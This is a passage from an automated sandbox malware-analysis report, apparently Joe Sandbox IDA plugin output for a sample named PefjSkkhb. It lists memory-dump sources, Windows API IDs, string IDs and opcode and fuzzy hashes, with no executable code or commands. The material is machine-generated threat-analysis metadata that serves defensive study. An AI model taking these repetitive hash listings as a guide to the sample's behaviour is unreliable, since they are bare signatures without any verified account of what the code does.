                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$Window$CreateDestroyObjectStock
                                                                                                                                                                            • String ID: msctls_updown32
                                                                                                                                                                            • API String ID: 1752125012-2298589950
                                                                                                                                                                            • Opcode ID: 74e3ad92c2baccfb6081841c4f4ce29bd6f6c1edab28d3e774f2eecd82cc7261
                                                                                                                                                                            • Instruction ID: 2b664783fe465b634f74d19ced8861c36a83fe3fa940880db1508788fc76eede
                                                                                                                                                                            • Opcode Fuzzy Hash: 74e3ad92c2baccfb6081841c4f4ce29bd6f6c1edab28d3e774f2eecd82cc7261
                                                                                                                                                                            • Instruction Fuzzy Hash: 88319A36A18B8596EB60CF15E4547AA73A1FBC6BD1F1081B6DA8D83B98CF3CD445CB40
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$Window$CreateMoveObjectStock
                                                                                                                                                                            • String ID: Listbox
                                                                                                                                                                            • API String ID: 3747482310-2633736733
                                                                                                                                                                            • Opcode ID: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
                                                                                                                                                                            • Instruction ID: 4c3cd982253f62d3dcf43a7eae290be0c9c0e27309e26da6190b00b3b6f80f23
                                                                                                                                                                            • Opcode Fuzzy Hash: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
                                                                                                                                                                            • Instruction Fuzzy Hash: 083147366096C186E770CF16B444B5AB7A5FB89BE0F508265EAA903B99CF3DD481CB00
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$CreateObjectStockWindow
                                                                                                                                                                            • String ID: msctls_trackbar32
                                                                                                                                                                            • API String ID: 1025951953-1010561917
                                                                                                                                                                            • Opcode ID: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
                                                                                                                                                                            • Instruction ID: 88b3b15ac33d3e2ecee091116597a7fd876e6c9d5de836a1ba422b1c49061aef
                                                                                                                                                                            • Opcode Fuzzy Hash: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
                                                                                                                                                                            • Instruction Fuzzy Hash: 0D313836A18685CBE7708F15E454B6AB7A1FB89B90F1042B5EB9843B58CF3CD841CB04
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Thread$CurrentProcessWindow$AttachChildClassEnumFocusInputMessageNameParentSendTimeoutWindows
                                                                                                                                                                            • String ID: %s%d
                                                                                                                                                                            • API String ID: 2330185562-1110647743
                                                                                                                                                                            • Opcode ID: 4f7089e3504d96f16b1fb726daf46c0f00a77062a3aa85cf481a60796f0195a0
                                                                                                                                                                            • Instruction ID: c312ad747384ac869dcbc10f2cb45721bf114ab8aeabc3061d889bcff2aebf4d
                                                                                                                                                                            • Opcode Fuzzy Hash: 4f7089e3504d96f16b1fb726daf46c0f00a77062a3aa85cf481a60796f0195a0
                                                                                                                                                                            • Instruction Fuzzy Hash: E4217335B08B8295EA38EF16E4442FA63A1EF86BD0F444071DF9D87B5ADE2CE105C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Exception$DestructObject$Raise__vcrt_getptd_noexit
                                                                                                                                                                            • String ID: csm
                                                                                                                                                                            • API String ID: 2280078643-1018135373
                                                                                                                                                                            • Opcode ID: f3b44f69e9663573439d22a4e4da11b073c1d9211702bf15dcc91806c3a7fe41
                                                                                                                                                                            • Instruction ID: 1554a9a57378c4d1d648a076c6971c398d2189c406ee4d3bdcb7bd86f4a61fc5
                                                                                                                                                                            • Opcode Fuzzy Hash: f3b44f69e9663573439d22a4e4da11b073c1d9211702bf15dcc91806c3a7fe41
                                                                                                                                                                            • Instruction Fuzzy Hash: B6212B76608641C7E6309F52E44426E77A1FB86BB4F000266DF9D43799CF3DE986CB04
                                                                                                                                                                            APIs
                                                                                                                                                                            • LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF697BA2DD1), ref: 00007FF697BDAF37
                                                                                                                                                                            • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF697BA2DD1), ref: 00007FF697BDAF4F
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressLibraryLoadProc
                                                                                                                                                                            • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                                                                                                                                            • API String ID: 2574300362-1816364905
                                                                                                                                                                            • Opcode ID: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
                                                                                                                                                                            • Instruction ID: 5e906c6307823390e8dcd6a7efcf1bdbb2b220309151833b882a950c486f9b16
                                                                                                                                                                            • Opcode Fuzzy Hash: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
                                                                                                                                                                            • Instruction Fuzzy Hash: 4DF0F875A05B0581EF289F14E84436423A4EB09F89F8404B6C91D82368EF7CD9689300
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressLibraryLoadProc
                                                                                                                                                                            • String ID: RegDeleteKeyExW$advapi32.dll
                                                                                                                                                                            • API String ID: 2574300362-4033151799
                                                                                                                                                                            • Opcode ID: 88aa4d55391e805054e25835240c34e867389002f23d272af78df165a122bac4
                                                                                                                                                                            • Instruction ID: 293171b3fee08f34ac79e5d143d43ae6dc6bfdc5c5eb8bcc8ab8de8de8de11e9
                                                                                                                                                                            • Opcode Fuzzy Hash: 88aa4d55391e805054e25835240c34e867389002f23d272af78df165a122bac4
                                                                                                                                                                            • Instruction Fuzzy Hash: B3E0ED35A05F0AC5EF249F14E42537863A4EF09B95F5404B5C91EC6354EF7CD5A5C340
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressLibraryLoadProc
                                                                                                                                                                            • String ID: GetNativeSystemInfo$kernel32.dll
                                                                                                                                                                            • API String ID: 2574300362-192647395
                                                                                                                                                                            • Opcode ID: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
                                                                                                                                                                            • Instruction ID: e135b6869bb27115b89a0993409fd332148c017e9e66aa00ed01df00ef9da97b
                                                                                                                                                                            • Opcode Fuzzy Hash: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
                                                                                                                                                                            • Instruction Fuzzy Hash: 41E0ED75905F0682EF24AF14E85436423E0FF09B88F840475C91D86358EFBCE5A8C340
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
                                                                                                                                                                            • Instruction ID: b0a77c59e68c8d24c8a58a8ab8ca9738cc2bc4a0bb15e9788813bc3e7111f7c0
                                                                                                                                                                            • Opcode Fuzzy Hash: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
                                                                                                                                                                            • Instruction Fuzzy Hash: 38D11776B04B5686EB28DF2AC4602AD37B0FB89F98B514466DF5D87B58EF39D844C300
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ClearVariant
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1473721057-0
                                                                                                                                                                            • Opcode ID: f7e9a6a1c2f8c019007800361108cca29dc074ba0bb03e63b32f82c3ddf48b44
                                                                                                                                                                            • Instruction ID: 9524b9cee84058b85c5c63746fcdc8b9a846eaaaf0f0707d4edbc569d8d5b0e4
                                                                                                                                                                            • Opcode Fuzzy Hash: f7e9a6a1c2f8c019007800361108cca29dc074ba0bb03e63b32f82c3ddf48b44
                                                                                                                                                                            • Instruction Fuzzy Hash: 47D15B76B05B419AEB20EFA5D4901EC33B1FB89788B4044B6DE4D97B59DF38E519C380
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$ClientMessageMoveRectScreenSend
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1249313431-0
                                                                                                                                                                            • Opcode ID: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
                                                                                                                                                                            • Instruction ID: 0ee5d6b29439c4977ffbd99ac00ce1855caff68795391fe7d07ec54a479b87f7
                                                                                                                                                                            • Opcode Fuzzy Hash: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
                                                                                                                                                                            • Instruction Fuzzy Hash: 0251B336A04A468AEB60CF25D8806BD37A1FB45BD8F5151B6DF2D93788CF79E881C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CreateDirectory$AttributesErrorFileLast
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2267087916-0
                                                                                                                                                                            • Opcode ID: 885fddea0d2d34b219ca6ab898c8b75d575591909594024e161a1fcc4b4d8134
                                                                                                                                                                            • Instruction ID: b0fbea375dc338feda1f17541022a3b84831e1d81096c2479e684881c8455b3a
                                                                                                                                                                            • Opcode Fuzzy Hash: 885fddea0d2d34b219ca6ab898c8b75d575591909594024e161a1fcc4b4d8134
                                                                                                                                                                            • Instruction Fuzzy Hash: 9A519C32B05A1185EF64CF66D8905AD63A5FB46BD4B944175EE0D93BACEF3CE942C300
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ErrorLast$socket
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1881357543-0
                                                                                                                                                                            • Opcode ID: 2f7cf8263c41ad3ca56e1a8fad4cf6ea685e9961862279cbfea50359dc3cc1a2
                                                                                                                                                                            • Instruction ID: 6f0451fd31d92667a65ae9c48cf0a10cfb655e235b29aaf6ec1d6c2048e1cf4f
                                                                                                                                                                            • Opcode Fuzzy Hash: 2f7cf8263c41ad3ca56e1a8fad4cf6ea685e9961862279cbfea50359dc3cc1a2
                                                                                                                                                                            • Instruction Fuzzy Hash: 7C41B27171868286DB24EF22E41466D6B91FF8AFE4F4445B5DE1E977AACF3CE0018B40
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CreateHardLink$DeleteErrorFileLast
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3321077145-0
                                                                                                                                                                            • Opcode ID: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
                                                                                                                                                                            • Instruction ID: 90590c0140dac4f39a40ba7fec91f7bb58634d1c8db8ef750ff25e08f329abd8
                                                                                                                                                                            • Opcode Fuzzy Hash: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
                                                                                                                                                                            • Instruction Fuzzy Hash: C441D676A04B4682DB24EF26D49106D6760FB8AFD0B4994B2DF4E8776ADE3CE4809340
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Rect$BeepClientMessageScreenWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1352109105-0
                                                                                                                                                                            • Opcode ID: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
                                                                                                                                                                            • Instruction ID: e34083ce4e38d9d81779b0ba3955498f3a311c9ea8eaba110e1994b4de99acdc
                                                                                                                                                                            • Opcode Fuzzy Hash: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
                                                                                                                                                                            • Instruction Fuzzy Hash: 00417F36A09A4A8AEBA08F19D88477D77A0FF85BD4F5541B5CA1DC33A4DF38E841C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 4141327611-0
                                                                                                                                                                            • Opcode ID: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
                                                                                                                                                                            • Instruction ID: 0bf3d08b5a23d18bd95504f670c14e84f0d97fcb624d0023fbafecf23eed4565
                                                                                                                                                                            • Opcode Fuzzy Hash: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
                                                                                                                                                                            • Instruction Fuzzy Hash: F3419032A0D74286FB719F11D1443796295EF82BE0F2481B9DA998AEDDDF3CD8418B01
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: LongWindow$InvalidateMessageRectSend
                                                                                                                                                                            • String ID:
